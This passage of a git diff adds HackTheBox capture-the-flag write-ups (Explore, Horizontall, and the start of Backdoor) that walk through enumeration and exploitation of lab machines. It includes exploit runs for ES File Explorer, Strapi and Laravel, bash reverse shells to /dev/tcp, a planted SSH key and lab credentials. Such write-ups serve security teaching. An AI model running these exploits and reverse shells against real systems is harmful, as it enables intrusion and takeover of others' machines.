afXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + + +And that's it! We managed to privesc to the root user and get the root flag. + +## **Conclusion** + +Here we can see the progress graph : + +![](img/66_graph.png) + diff --git a/Easy/67.md b/Easy/67.md new file mode 100644 index 0000000..11846d2 --- /dev/null +++ b/Easy/67.md @@ -0,0 +1,337 @@ +# Explore Writeup + +![](img/67.png) + +## Introduction : + +Explore is an easy Android box released back in June 2021 + +## **Part 1 : Initial Enumeration** + +As always we begin our Enumeration using **Nmap** to enumerate opened ports. We will be using the flags **-sC** for default scripts and **-sV** to enumerate versions. + + + [ 10.10.16.14/23 ] [ nowhere ] [~/HTB/Explore] + → nmap -sCV -p- explore.htb + Starting Nmap 7.92 ( https://nmap.org ) at 2022-11-20 12:49 UTC + Nmap scan report for explore.htb (10.129.17.72) + Host is up (0.71s latency). + + PORT STATE SERVICE VERSION + 2222/tcp open ssh (protocol 2.0) + | fingerprint-strings: + | NULL: + |_ SSH-2.0-SSH Server - Banana Studio + | ssh-hostkey: + |_ 2048 71:90:e3:a7:c9:5d:83:66:34:88:3d:eb:b4:c7:88:fb (RSA) + 42135/tcp open http ES File Explorer Name Response httpd + |_http-title: Site doesn't have a title (text/html). + |_http-server-header: ES Name Response Server + 45141/tcp closed unknown + 59777/tcp open http Bukkit JSONAPI httpd for Minecraft game server 3.6.0 or older + |_http-title: Site doesn't have a title (text/plain). + 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service : + SF-Port2222-TCP:V=7.92%I=7%D=11/20%Time=637A2270%P=x86_64-pc-linux-gnu%r(N + SF:ULL,24,"SSH-2\.0-SSH\x20Server\x20-\x20Banana\x20Studio\r\n"); + Service Info: Device: phone + + +## **Part 2 : Getting User Access** + +Our nmap scan picked up a http service on port 59777 so let's investigate it using gobuster: + + + [ 10.10.16.14/23 ] [ nowhere ] [~/HTB/Explore] + → gobuster dir -u http://explore.htb:59777 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 50 + =============================================================== + Gobuster v3.3 + by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) + =============================================================== + [+] Url: http://explore.htb:59777 + [+] Method: GET + [+] Threads: 50 + [+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt + [+] Negative Status codes: 404 + [+] User Agent: gobuster/3.3 + [+] Timeout: 10s + =============================================================== + 2022/11/20 12:42:26 Starting gobuster in directory enumeration mode + =============================================================== + /product (Status: 301) [Size: 71] [--> /product/] + /data (Status: 301) [Size: 65] [--> /data/] + /d (Status: 301) [Size: 59] [--> /d/] + /bin (Status: 301) [Size: 63] [--> /bin/] + /storage (Status: 301) [Size: 71] [--> /storage/] + /system (Status: 301) [Size: 69] [--> /system/] + /lib (Status: 301) [Size: 63] [--> /lib/] + /dev (Status: 301) [Size: 63] [--> /dev/] + /cache (Status: 301) [Size: 67] [--> /cache/] + /etc (Status: 301) [Size: 63] [--> /etc/] + /vendor (Status: 301) [Size: 69] [--> /vendor/] + /config (Status: 301) [Size: 69] [--> /config/] + /oem (Status: 301) [Size: 63] [--> /oem/] + /%20 (Status: 403) [Size: 32] + /sys (Status: 301) [Size: 63] [--> /sys/] + /init (Status: 403) [Size: 31] + + + +Trying to browse to it doesnt show much either: + +![](prg/67_001.png) + +However when we look back at our nmap scan, it also picked up port 42135 "ES File Explorer", so we look at the available exploits for it: + + + [ 10.10.16.14/23 ] [ nowhere ] [~/HTB/Explore] + → findsploit es file explorer + ___ _ _ _ _ _ + / __(_)_ __ __| |___ _ __ | | ___ (_) |_ + / _\ | | '_ \ / _` / __| '_ \| |/ _ \| | __| + / / | | | | | (_| \__ \ |_) | | (_) | | |_ + \/ |_|_| |_|\__,_|___/ .__/|_|\___/|_|\__| + |_| + + + -- --=[ findsploit v2.0 by @xer0dayz + + -- --=[ https://sn1persecurity.com + + + -- --=[ SEARCHING: es file explorer + + + -- --=[ NMAP SCRIPTS + + egrep: warning: egrep is obsolescent; using grep -E + egrep: warning: egrep is obsolescent; using grep -E + egrep: warning: egrep is obsolescent; using grep -E + + + -- --=[ METASPLOIT EXPLOIT S + + egrep: warning: egrep is obsolescent; using grep -E + egrep: warning: egrep is obsolescent; using grep -E + egrep: warning: egrep is obsolescent; using grep -E + 378 gather/ie_sandbox_findfiles 2016-08-09 normal No Internet Explorer Iframe Sandbox File Name Disclosure Vulnerability + 550 scanner/http/es_file_explorer_open_port 2019-01-16 normal No ES File Explorer Open Port + + + -- --=[ EXPLOITDB EXPLOITS + + ------------------------------------------------------------------------------------------- --------------------------------- + Exploit Title | Path + ------------------------------------------------------------------------------------------- --------------------------------- + **ES File Explorer 4.1.9.7.4 - Arbitrary File Read | android/remote/50070.py** + iOS iFileExplorer Free - Directory Traversal | ios/remote/16278.py + MetaProducts Offline Explorer 1.x - FileSystem Disclosure | windows/remote/20488.txt + Microsoft Internet Explorer - NCTAudioFile2.AudioFile ActiveX Remote Stack Overflow (2) | windows/remote/3808.html + Microsoft Internet Explorer - SLayoutRun Use-After-Free (MS13-009) (Metasploit) (1) | windows/remote/24495.rb + Microsoft Internet Explorer - SLayoutRun Use-After-Free (MS13-009) (Metasploit) (2) | windows/remote/24538.rb + Microsoft Internet Explorer - textNode Use-After-Free (MS13-037) (Metasploit) | windows/remote/25999.rb + Microsoft Internet Explorer / MSN - ICC Profiles Crash (PoC) | windows/dos/1110.txt + Microsoft Internet Explorer 4.x/5 / Outlook 2000 0/98 0/Express 4.x - ActiveX '.CAB' File | windows/remote/19603.txt + Microsoft Internet Explorer 4/5 - DHTML Edit ActiveX Control File Stealing / Cross Frame A | windows/remote/19094.txt + Microsoft Internet Explorer 5 - ActiveX Object For Constructing Type Libraries For Scriptl | windows/remote/19468.txt + Microsoft Internet Explorer 5 / Firefox 0.8 / OmniWeb 4.x - URI Protocol Handler Arbitrary | windows/remote/24116.txt + Microsoft Internet Explorer 5/6 - 'file://' Request Zone Bypass | windows/remote/22575.txt + Microsoft Internet Explorer 6 - '%USERPROFILE%' File Execution | windows/remote/22734.html + Microsoft Internet Explorer 6 - Local File Access | windows/remote/29619.html + Microsoft Internet Explorer 7 - Arbitrary File Rewrite (MS07-027) | windows/remote/3892.html + My File Explorer 1.3.1 iOS - Multiple Web Vulnerabilities | ios/webapps/28975.txt + WebFileExplorer 3.6 - 'user' / 'pass' SQL Injection | php/webapps/35851.txt + ------------------------------------------------------------------------------------------- --------------------------------- + Shellcodes: No Results + + https://www.exploit-db.com/search?q=es+file+explorer + https://www.google.ca/search?q=es%20file%20explorer+exploit + https://www.google.ca/search?q=es%20file%20explorer+exploit+site:www.securityfocus.com + https://www.google.ca/search?q=es%20file%20explorer+site:0day.today + https://www.google.ca/search?q=es%20file%20explorer+site:www.security-database.com + https://www.google.ca/search?q=es%20file%20explorer+site:packetstormsecurity.com + https://exploits.shodan.io/?q=es+file+explorer + https://vulners.com/search?query=es+file+explorer + + + -- --=[ Press any key to search online or Ctrl+C to exit... + + + + +In here we find a CVE to read arbitrary files on ES File Explorer, so let's try it out: + + + [ 10.10.16.14/23 ] [ nowhere ] [~/HTB/Explore] + → cp $(locate 50070.py) . + + [ 10.10.16.14/23 ] [ nowhere ] [~/HTB/Explore] + → vim 50070.py + + [ 10.10.16.14/23 ] [ nowhere ] [~/HTB/Explore] + → python 50070.py help explore.htb + [-] WRONG COMMAND! + Available commands : + listFiles : List all Files. + listPics : List all Pictures. + listVideos : List all videos. + listAudios : List all audios. + listApps : List Applications installed. + listAppsSystem : List System apps. + listAppsPhone : List Communication related apps. + listAppsSdcard : List apps on the SDCard. + listAppsAll : List all Application. + getFile : Download a file. + getDeviceInfo : Get device info. + + [ 10.10.16.14/23 ] [ nowhere ] [~/HTB/Explore] + → python 50070.py listPics explore.htb + + ================================================================== + | ES File Explorer Open Port Vulnerability : CVE-2019-6447 | + | Coded By : Nehal a.k.a PwnerSec | + ================================================================== + + name : concept.jpg + time : 4/21/21 02:38:08 AM + location : /storage/emulated/0/DCIM/concept.jpg + size : 135.33 KB (138,573 Bytes) + + name : anc.png + time : 4/21/21 02:37:50 AM + location : /storage/emulated/0/DCIM/anc.png + size : 6.24 KB (6,392 Bytes) + + name : creds.jpg + time : 4/21/21 02:38:18 AM + location : /storage/emulated/0/DCIM/creds.jpg + size : 1.14 MB (1,200,401 Bytes) + + name : 224_anc.png + time : 4/21/21 02:37:21 AM + location : /storage/emulated/0/DCIM/224_anc.png + size : 124.88 KB (127,876 Bytes) + + + +Here the creds.jpg file looks interesting so let's download it: + + + [ 10.10.16.14/23 ] [ nowhere ] [~/HTB/Explore] + → wget http://explore.htb:59777/storage/emulated/0/DCIM/creds.jpg + + [ 10.10.16.14/23 ] [ nowhere ] [~/HTB/Explore] + → file creds.jpg + creds.jpg: JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, Exif Standard: [\012- TIFF image data, big-endian, direntries=12, manufacturer=Apple, model=iPhone XR, orientation=upper-right, xresolution=174, yresolution=182, resolutionunit=2, software=14.4, datetime=2021:03:06 02:13:37, hostcomputer=iPhone XR, GPS-Data], comment: "Optimized by JPEGmini 3.18.2.210033067-TBTBLN 0x905c306b", baseline, precision 8, 4032x3024, components 3 + + + +On it we find credentials: + +![](prg/67_002.png) + +So from here we can login as the kristi user with her password "Kr1sT!5h@Rp3xPl0r3!": + + + [ 10.10.16.14/23 ] [ nowhere ] [~/HTB/Explore] + → sshpass -p 'Kr1sT!5h@Rp3xPl0r3!' ssh -p 2222 kristi@explore.htb + Unable to negotiate with 10.129.17.72 port 2222: no matching host key type found. Their offer: ssh-rsa + + [ 10.10.16.14/23 ] [ nowhere ] [~/HTB/Explore] + → vim ~/.ssh/config + + [ 10.10.16.14/23 ] [ nowhere ] [~/HTB/Explore] + → cat ~/.ssh/config| head -n6 + Host explore + HostName explore.htb + User kristi + PubkeyAcceptedAlgorithms +ssh-rsa + HostkeyAlgorithms +ssh-rsa + Port 2222 + + [ 10.10.16.14/23 ] [ nowhere ] [~/HTB/Explore] + → sshpub explore + The authenticity of host '[explore.htb]:2222 ([10.129.17.72]:2222)' can't be established. + RSA key fingerprint is SHA256:3mNL574rJyHCOGm1e7Upx4NHXMg/YnJJzq+jXhdQQxI. + This key is not known by any other names. + Are you sure you want to continue connecting (yes/no/[fingerprint])? yes + Warning: Permanently added '[explore.htb]:2222' (RSA) to the list of known hosts. + Password authentication + (kristi@explore.htb) Password: + :/ $ id + uid=10076(u0_a76) gid=10076(u0_a76) groups=10076(u0_a76),3003(inet),9997(everybody),20076(u0_a76_cache),50076(all_a76) context=u:r:untrusted_app:s0:c76,c256,c512,c768 + + + +Once logged in, we find the user flag in the /sdcard directory: + + + :/ $ ls + acct init.superuser.rc sbin + bin init.usb.configfs.rc sdcard + bugreports init.usb.rc sepolicy + cache init.zygote32.rc storage + charger init.zygote64_32.rc sys + config lib system + d mnt ueventd.android_x86_64.rc + data odm ueventd.rc + default.prop oem vendor + dev plat_file_contexts vendor_file_contexts + etc plat_hwservice_contexts vendor_hwservice_contexts + fstab.android_x86_64 plat_property_contexts vendor_property_contexts + init plat_seapp_contexts vendor_seapp_contexts + init.android_x86_64.rc plat_service_contexts vendor_service_contexts + init.environ.rc proc vndservice_contexts + init.rc product + :/ $ cd sdcard/ + :/sdcard $ ls + Alarms DCIM Movies Notifications Podcasts backups user.txt + Android Download Music Pictures Ringtones dianxinos + :/sdcard $ cat user.txt + f3XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + + +And we got the user flag! + +## **Part 3 : Getting Root Access** + +Now in order to privesc we look back at our nmap scan which picked up port 5555, and usually this port is used for the Android Debug Bridge, so let's try to connect to it: + + + [ 10.10.16.14/23 ] [ nowhere ] [~/HTB/Explore] + → adb connect explore.htb:5555 + * daemon not running; starting now at tcp:5037 + * daemon started successfully + ^C + + + +Doesnt work, because usually adb is used when you want to debug an android phone locally, so let's port forward port 5555: + + + [term1] + [ 10.10.16.14/23 ] [ nowhere ] [~/HTB/Explore] + → sshpub -p 2222 -L 5555:localhost:5555 explore + Password authentication + (kristi@explore.htb) Password: + :/ $ + + [term2] + [ 10.10.16.14/23 ] [ nowhere ] [~/HTB/Explore] + → adb connect 127.0.0.1:5555 + connected to 127.0.0.1:5555 + + [ 10.10.16.14/23 ] [ nowhere ] [~/HTB/Explore] + → adb root + restarting adbd as root + + [ 10.10.16.14/23 ] [ nowhere ] [~/HTB/Explore] + → adb shell + x86_64:/ # id + uid=0(root) gid=0(root) groups=0(root),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3009(readproc),3011(uhid) context=u:r:su:s0 + x86_64:/ # cat /data/root.txt + f0XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + + +And that's it! We managed to get the root flag. + +## **Conclusion** + +Here we can see the progress graph : + +![](img/67_graph.png) + diff --git a/Easy/68.md b/Easy/68.md new file mode 100644 index 0000000..0ac4890 --- /dev/null +++ b/Easy/68.md @@ -0,0 +1,432 @@ +# Horizontall Writeup + +![](img/68.png) + +## Introduction : + +Horizontall is an easy Linux box released back in August 2021. + +## **Part 1 : Initial Enumeration** + +As always we begin our Enumeration using **Nmap** to enumerate opened ports. We will be using the flags **-sC** for default scripts and **-sV** to enumerate versions. + + + [ 10.10.16.14/23 ] [ nowhere ] [~/HTB/Horizontall] + → sudo vim /etc/hosts + [sudo] password for nothing: + + [ 10.10.16.14/23 ] [ nowhere ] [~/HTB/Horizontall] + → nmap -sCV -p- horizontall.htb + Starting Nmap 7.92 ( https://nmap.org ) at 2022-11-20 15:08 UTC + Nmap scan report for horizontall.htb (10.129.17.82) + Host is up (0.13s latency). + + PORT STATE SERVICE VERSION + 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0) + | ssh-hostkey: + | 2048 ee:77:41:43:d4:82:bd:3e:6e:6e:50:cd:ff:6b:0d:d5 (RSA) + | 256 3a:d5:89:d5:da:95:59:d9:df:01:68:37:ca:d5:10:b0 (ECDSA) + |_ 256 4a:00:04:b4:9d:29:e7:af:37:16:1b:4f:80:2d:98:94 (ED25519) + 80/tcp open http nginx 1.14.0 (Ubuntu) + |_http-title: horizontall + |_http-server-header: nginx/1.14.0 (Ubuntu) + Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel + + Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . + Nmap done: 1 IP address (1 host up) scanned in 15.62 seconds + + + +## **Part 2 : Getting User Access** + +Our nmap scan picked up port 80 so let's investigate it: + +![](prg/68_001.png) + +Trying to run gobuster on this site yields no results, so instead we look for other clues by intercepting the traffic with burpsuite: + +![](prg/68_002.png) + +And here we found out that there was another domain we could use: **api-prod.horizontall.htb** so let's add it to our hosts file: + + + [ 10.10.16.14/23 ] [ nowhere ] [~/HTB/Horizontall] + → sudo vim /etc/hosts + [sudo] password for nothing: + + [ 10.10.16.14/23 ] [ nowhere ] [~/HTB/Horizontall] + → cat /etc/hosts | grep horizontall + 10.129.17.82 horizontall.htb api-prod.horizontall.htb + + + +So let's browse to the api endpoint at **http://api-prod.horizontall.htb/reviews** : + +![](prg/68_003.png) + +Then let's enumerate it with gobuster: + + + [ 10.10.16.14/23 ] [ nowhere ] [~/HTB/Horizontall] + → gobuster dir -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 50 -u http://api-prod.horizontall.htb + =============================================================== + Gobuster v3.3 + by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) + =============================================================== + [+] Url: http://api-prod.horizontall.htb + [+] Method: GET + [+] Threads: 50 + [+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt + [+] Negative Status codes: 404 + [+] User Agent: gobuster/3.3 + [+] Timeout: 10s + =============================================================== + 2022/11/20 15:47:07 Starting gobuster in directory enumeration mode + =============================================================== + /reviews (Status: 200) [Size: 507] + /users (Status: 403) [Size: 60] + **/admin (Status: 200) [Size: 854]** + /Reviews (Status: 200) [Size: 507] + /Users (Status: 403) [Size: 60] + + + +/admin looks interesting, so let's investigate it: + +![](prg/68_004.png) + +Here we have a strapi admin login webpage, so let's take a look at the available exploits for it: + + + [ 10.10.16.14/23 ] [ nowhere ] [~/HTB/Horizontall] + → searchsploit strapi + ----------------------------------------------------------------------------------------- --------------------------------- + Exploit Title | Path + ----------------------------------------------------------------------------------------- --------------------------------- + Strapi 3.0.0-beta - Set Password (Unauthenticated) | multiple/webapps/50237.py + Strapi 3.0.0-beta.17.7 - Remote Code Execution (RCE) (Authenticated) | multiple/webapps/50238.py + Strapi CMS 3.0.0-beta.17.4 - Remote Code Execution (RCE) (Unauthenticated) | multiple/webapps/50239.py + Strapi CMS 3.0.0-beta.17.4 - Set Password (Unauthenticated) (Metasploit) | nodejs/webapps/50716.rb + ----------------------------------------------------------------------------------------- --------------------------------- + Shellcodes: No Results + + + +Let's use the Unauthenticated exploit: + + + + [ 10.10.16.14/23 ] [ nowhere ] [~/HTB/Horizontall] + → cp $(locate 50239.py) . + + [ 10.10.16.14/23 ] [ nowhere ] [~/HTB/Horizontall] + → vim 50239.py + + [ 10.10.16.14/23 ] [ nowhere ] [~/HTB/Horizontall] + → python3 50239.py http://api-prod.horizontall.htb/ + [+] Checking Strapi CMS Version running + [+] Seems like the exploit will work!!! + [+] Executing exploit + + + [+] Password reset was successfully + [+] Your email is: admin@horizontall.htb + [+] Your new credentials are: admin:SuperStrongPassword1 + [+] Your authenticated JSON Web Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MywiaXNBZG1pbiI6dHJ1ZSwiaWF0IjoxNjY4OTYyMjQ1LCJleHAiOjE2NzE1NTQyNDV9.9bnkS2ZxD8V5_RR-urF403xy8g-VVYaeukmKEBBGCK4 + + + $> + + + +This exploit basically resets the **admin@horizontall.htb** user's password to **SuperStrongPassword1** so once we ran it we can login: + +![](prg/68_005.png) + +but the more interesting part is that we can execute code: + + + $> bash + [+] Triggering Remote code executin + [*] Rember this is a blind RCE don't expect to see output + id + + +However as you can see it is a blind RCE, we can't see any output, so to counter that we're going to get a reverse shell instead: + + + [term 1] + [ 10.10.16.14/23 ] [ nowhere ] [~/HTB/Horizontall] + → nc -lvnp 9999 + + [term2] + [ 10.10.16.14/23 ] [ nowhere ] [~/HTB/Horizontall] + → python3 50239.py http://api-prod.horizontall.htb/ + [+] Checking Strapi CMS Version running + [+] Seems like the exploit will work!!! + [+] Executing exploit + + + [+] Password reset was successfully + [+] Your email is: admin@horizontall.htb + [+] Your new credentials are: admin:SuperStrongPassword1 + [+] Your authenticated JSON Web Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MywiaXNBZG1pbiI6dHJ1ZSwiaWF0IjoxNjY4OTYyNDc3LCJleHAiOjE2NzE1NTQ0Nzd9.5lNGdTyiV9d-ciGggW5Z5Y6OJNZPARJAWBtM41qxW7A + + + $> bash -c 'bash -i >& /dev/tcp/10.10.16.14/9999 0>&1' + [+] Triggering Remote code executin + [*] Rember this is a blind RCE don't expect to see output + + [term1] + [ 10.10.16.14/23 ] [ nowhere ] [~/HTB/Horizontall] + → nc -lvnp 9999 + Connection from 10.129.17.82:42004 + bash: cannot set terminal process group (1975): Inappropriate ioctl for device + bash: no job control in this shell + strapi@horizontall:~/myapi$ id + id + uid=1001(strapi) gid=1001(strapi) groups=1001(strapi) + strapi@horizontall:~/myapi$ + + + +Now that we got a reverse shell, let's upgrade it to a fully interactive tty: + + + strapi@horizontall:~/myapi$ which wget curl python python3 + which wget curl python python3 + /usr/bin/wget + /usr/bin/curl + /usr/bin/python + /usr/bin/python3 + + #spawn a TTY shell with python3: + strapi@horizontall:~/myapi$ python3 -c 'import pty;pty.spawn("/bin/bash")' + python3 -c 'import pty;pty.spawn("/bin/bash")' + + #CTRL+Z to background the process + strapi@horizontall:~/myapi$ ^Z + [1] + 3112123 suspended nc -lvnp 9999 + + #stty raw it and then bring it back to the foreground: + [ 10.10.16.14/23 ] [ nowhere ] [~/HTB/Horizontall] + → stty raw -echo ; fg + [1] + 3112123 continued nc -lvnp 9999 + + #then set the TERM and SHELL env variables and the tty rows and colums: + strapi@horizontall:~/myapi$ export TERM=screen-256color + strapi@horizontall:~/myapi$ export SHELL=bash + strapi@horizontall:~/myapi$ stty rows 30 cols 200 + + #reset to refresh the terminal + strapi@horizontall:~/myapi$ reset + + + +Now that we have a fully interactive TTY reverse shell, we can go grab the user flag: + + + strapi@horizontall:~$ cd /home/ + strapi@horizontall:/home$ ls + developer + strapi@horizontall:/home$ cd developer/ + strapi@horizontall:/home/developer$ ls + composer-setup.php myproject user.txt + strapi@horizontall:/home/developer$ cat user.txt + fcXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + + +And that's it! We managed to get the user flag. + +## **Part 3 : Getting Root Access** + +Now just like on the BountyHunter box, we use linpeas.sh to enumerate privesc paths: + + + [term1] + [ 10.10.16.14/23 ] [ nowhere ] [~/HTB/Horizontall] + → cp ../BountyHunter/linpeas.sh . + + [ 10.10.16.14/23 ] [ nowhere ] [~/HTB/Horizontall] + → python3 -m http.server 9090 + Serving HTTP on 0.0.0.0 port 9090 (http://0.0.0.0:9090/) ... + + [term2] + strapi@horizontall:/tmp$ wget http://10.10.16.14:9090/linpeas.sh + + strapi@horizontall:/tmp$ chmod +x linpeas.sh + strapi@horizontall:/tmp$ ./linpeas.sh + + + +` ![](prg/68_006.png) + +Now what's interesting here is the local port 8000: + +![](prg/68_007.png) + +As it is written, it's a local port, so let's port forward it via SSH: + + + [term1] + strapi@horizontall:~$ mkdir .ssh + strapi@horizontall:~$ echo 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIAfhgjcMFy5mO4fwhQyW6vdX5bgTzqZTh9MhCW7+k6Sj nothing@nowhere' > .ssh/authorized_keys + + [term2] + [ 10.10.16.14/23 ] [ nowhere ] [~/HTB/Horizontall] + → sshpub -L 8000:127.0.0.1:8000 strapi@horizontall.htb -i ~/.ssh/mainpc + Welcome to Ubuntu 18.04.5 LTS (GNU/Linux 4.15.0-154-generic x86_64) + + * Documentation: https://help.ubuntu.com + * Management: https://landscape.canonical.com + * Support: https://ubuntu.com/advantage + + System information as of Sun Nov 20 17:04:40 UTC 2022 + + System load: 0.0 Processes: 183 + Usage of /: 82.1% of 4.85GB Users logged in: 0 + Memory usage: 45% IP address for eth0: 10.129.17.82 + Swap usage: 0% + + + 0 updates can be applied immediately. + + Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings + + + Last login: Sun Nov 20 17:01:35 2022 from 10.10.16.14 + $ + + [term3] + [ 10.10.16.14/23 ] [ nowhere ] [~/HTB/Horizontall] + → nmap -sCV 127.0.0.1 -p 8000 + Starting Nmap 7.92 ( https://nmap.org ) at 2022-11-20 17:05 UTC + Nmap scan report for localhost (127.0.0.1) + Host is up (0.000048s latency). + + PORT STATE SERVICE VERSION + 8000/tcp open http (PHP 7.4.22) + | fingerprint-strings: + | FourOhFourRequest: + | HTTP/1.0 404 Not Found + | Date: Sun, 20 Nov 2022 17:05:31 GMT + | Connection: close + | X-Powered-By: PHP/7.4.22 + | Cache-Control: no-cache, private + | date: Sun, 20 Nov 2022 17:05:31 GMT + | Content-type: text/html; charset=UTF-8 + | <****!DOCTYPE html> + | <****html lang="en"> + | <****head> + | <****meta charset="utf-8"> + | <****meta name="viewport" content="width=device-width, initial-scale=1"> + | <****title>Not Found <****/title> + | <****!-- Fonts --> + | <****link rel="preconnect" href="https://fonts.gstatic.com"> + | <****link href="https://fonts.googleapis.com/css2?family=Nunito &display;=swap" rel="stylesheet"> + | <****style> + | normalize.css v8.0.1 | MIT License | github.com/necolas/normalize.css */html{line-height:1.15;-webkit-text-size-adjust:100%}body{margin:0}a{background-color:transparent}code{font-family:monospace,monospace;font-size:1em}[hidden]{display:none}html{font-family:system-ui,-app + | GetRequest: + | HTTP/1.0 200 OK + | Date: Sun, 20 Nov 2022 17:05:26 GMT + | Connection: close + | X-Powered-By: PHP/7.4.22 + | Content-Type: text/html; charset=UTF-8 + | Cache-Control: private, must-revalidate + | Date: Sun, 20 Nov 2022 17:05:26 GMT + | pragma: no-cache + | expires: -1 + | Set-Cookie: XSRF-TOKEN=eyJpdiI6InJ6Rjhhc0RMR3E0d242U0NrNzNzQ3c9PSIsInZhbHVlIjoiSWNaeGhCZitFTURXR2VlM005QmdsVm5BNFk2cThPN0g1OEJvTi9iUFYyNEpHQWJMZTJuTmtPVGZla3NwbFl5NkhNRHF4ajRBTFFoYzJaL2FCK2pocVkyMTIwVHBqeWRieU1zQWE4S095T1dOTG1rWkZURGF2RnVteTlmdTJ0S0MiLCJtYWMiOiIxZDM2ODdjZjExMmQxYzY4M2Y3ZjZiN2JlYjk2NzNkMWE0YTJkMGExOTkxZjAyZDE4ZDNjMzVjNmI3NTQ0NjdhIn0%3D; expires=Sun, 20-Nov-2022 19:05:26 GMT; Max-Age=7200; path=/; samesite=lax + |_ Set-Cookie: laravel_session=eyJpdiI6IkhtTlZjUnBzZ2RkSDNZMGNhNjA5bWc9PSIsInZhbHVlIjoiYXY0QlozV004N2pydDZ5MVJ2QnJ2RmRnZUYrWVdQR0l4VWVJWmhaMFdpSXFITDdrVnNzYzF4RGhFZlkxczlmSEtaQkFrUDlLcVVXQlBiOTh3U3FxclpoVGxpaDNZMzkvSXhreEZON3 + +After port-forwarding the port 8000 we see it's a laravel webserver: + +![](prg/68_008.png) + + + [ 10.10.16.14/23 ] [ nowhere ] [~/HTB/Horizontall] + → gobuster dir -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 50 -u http://127.0.0.1:8000 + =============================================================== + Gobuster v3.3 + by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) + =============================================================== + [+] Url: http://127.0.0.1:8000 + [+] Method: GET + [+] Threads: 50 + [+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt + [+] Negative Status codes: 404 + [+] User Agent: gobuster/3.3 + [+] Timeout: 10s + =============================================================== + 2022/11/20 17:12:29 Starting gobuster in directory enumeration mode + =============================================================== + /profiles (Status: 500) [Size: 616204] + + + +gobuster found /profiles so let's investigate it: + +![](prg/68_009.png) + +So we know that there's a laravel 8 website on port 8000, and where it is located on the machine thanks to the error we're seeing in /profiles, so let's look for exploits: + + + [ 10.10.16.14/23 ] [ nowhere ] [~/HTB/Horizontall] + → while true ; do sshpub -L 8000:127.0.0.1:8000 strapi@horizontall.htb -i ~/.ssh/mainpc ; done + + #since the ssh port forwarding keeps dying, run it like that ^ + + [ 10.10.16.14/23 ] [ nowhere ] [~/HTB/Horizontall] + → searchsploit laravel 8 + ----------------------------------------------------------------------------------------- --------------------------------- + Exploit Title | Path + ----------------------------------------------------------------------------------------- --------------------------------- + Aimeos Laravel ecommerce platform 2021.10 LTS - 'sort' SQL injection | php/webapps/50538.txt + Laravel - 'Hash::make()' Password Truncation Security | multiple/remote/39318.txt + **Laravel 8.4.2 debug mode - Remote code execution | php/webapps/49424.py** + Laravel Log Viewer <****0.13.0 - Local File Download | php/webapps/44343.py + Laravel Nova 3.7.0 - 'range' DoS | php/webapps/49198.txt + PHP Laravel 8.70.1 - Cross Site Scripting (XSS) to Cross Site Request Forgery (CSRF) | php/webapps/50525.txt + PHP Laravel Framework 5.5.40 / 5.6.x <****5.6.30 - token Unserialize Remote Command Executi | linux/remote/47129.rb + UniSharp Laravel File Manager 2.0.0 - Arbitrary File Read | php/webapps/48166.txt + UniSharp Laravel File Manager 2.0.0-alpha7 - Arbitrary File Upload | php/webapps/46389.py + ----------------------------------------------------------------------------------------- --------------------------------- + Shellcodes: No Results + +Let's take a look at the RCE one: + + + [term1] + [ 10.10.16.14/23 ] [ nowhere ] [~/HTB/Horizontall] + → python 49424.py http://127.0.0.1:8000 /home/developer/myproject/storage/logs/laravel.log 'bash -c "(bash -i &>/dev/tcp/10.10.16.14/4444 0>&1)&"' + + Exploit... + + [term2] + [ 10.10.16.14/23 ] [ nowhere ] [~/HTB/Horizontall] + → nc -lvnp 4444 + + Connection from 10.129.17.82:33968 + bash: cannot set terminal process group (27737): Inappropriate ioctl for device + bash: no job control in this shell + root@horizontall:/home/developer/myproject/public# + root@horizontall:/home/developer/myproject/public# id + id + uid=0(root) gid=0(root) groups=0(root) + root@horizontall:/home/developer/myproject/public# cd + cd + root@horizontall:~# cat root.txt + cat root.txt + bdXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + + +And that's it! We managed to get the root flag. + +## **Conclusion** + +Here we can see the progress graph : + +![](img/68_graph.png) + diff --git a/Easy/69.md b/Easy/69.md new file mode 100644 index 0000000..58e5935 --- /dev/null +++ b/Easy/69.md @@ -0,0 +1,435 @@ +# Backdoor Writeup + +![](img/69.png) + +## Introduction : + +Backdoor is an easy Linux box released back in November 2021. + +## **Part 1 : Initial Enumeration** + +As always we begin our Enumeration using **Nmap** to enumerate opened ports. We will be using the flags **-sC** for default scripts and **-sV** to enumerate versions. + + + [ 10.10.16.14/23 ] [ nowhere ] [~/HTB/Backdoor] + → sudo vim /etc/hosts + [sudo] password for nothing: + + [ 10.10.16.14/23 ] [ nowhere ] [~/HTB/Backdoor] + → nmap -sCV backdoor.htb + Starting Nmap 7.92 ( https://nmap.org ) at 2022-11-20 20:11 UTC + Nmap scan report for backdoor.htb (10.129.96.68) + Host is up (0.068s latency). + Not shown: 998 closed tcp ports (conn-refused) + PORT STATE SERVICE VERSION + 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 